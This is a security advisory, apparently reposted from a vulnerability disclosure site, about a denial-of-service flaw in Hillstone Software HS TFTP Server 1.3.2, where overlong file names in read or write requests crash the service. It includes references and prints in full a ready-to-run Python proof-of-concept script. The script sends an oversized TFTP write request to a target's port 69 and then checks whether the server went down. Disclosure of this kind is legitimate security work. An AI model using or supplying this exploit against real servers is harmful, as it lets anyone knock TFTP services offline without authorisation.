Hillstone Software HS TFTP Server suffers from denial of service vulnerability
Credit:
The information has been provided by FoX HaCkEr .
Vulnerable Systems:
* Hillstone Software HS TFTP 1.3.2
Hillstone Software HS TFTP Server version 1.3.2 is prone to a denial of service vulnerability.
The vulnerability is caused due to improper validation of WRITE/READ Request Parameter containing long file name, which allows remote attackers to crash the service.
Successful exploitation could allow an attacker to cause denial of service condition.
References:
-----------
http://secpod.org/blog/?p=419
http://www.hillstone-software.com/index.htm
http://www.hillstone-software.com/hs_tftp_details.htm
http://secpod.org/advisories/SecPod_Hillstone_Software_HS_TFTP_Server_DoS.txt
http://secpod.org/exploits/SecPod_Exploit_Hillstone_Software_HS_TFTP_Server_DoS.py
Proof of Concept:
http://secpod.org/exploits/SecPod_Exploit_Hillstone_Software_HS_TFTP_Server_DoS.py
POC :
import socket,sys,time
port = 69
target = raw_input("Enter host/target ip address: ")
if not target:
print "Host/Target IP Address is not specified"
sys.exit(1)
print "you entered ", target
try:
socket.inet_aton(target)
except socket.error:
print "Invalid IP address found ..."
sys.exit(1)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
print "socket() failed"
sys.exit(1)
## File name >= 222 length leads to crash
exploit = "\x90" * 2222
mode = "binary"
print "File name WRITE/READ crash"
## WRITE command = \x00\x02
data = "\x00\x02" + exploit + "\0" + mode + "\0"
## READ command = \x00\x01
## data = "\x00\x01" + exploit + "\0" + mode + "\0"
sock.sendto(data, (target, port))
time.sleep(2)
sock.close()
try:
sock.connect()
except:
print "Remote TFTP server port is down..."
sys.exit(1)
Disclosure Timeline:
Published: 2011-12-02
Please enable JavaScript to view the comments powered by Disqus.
blog comments powered by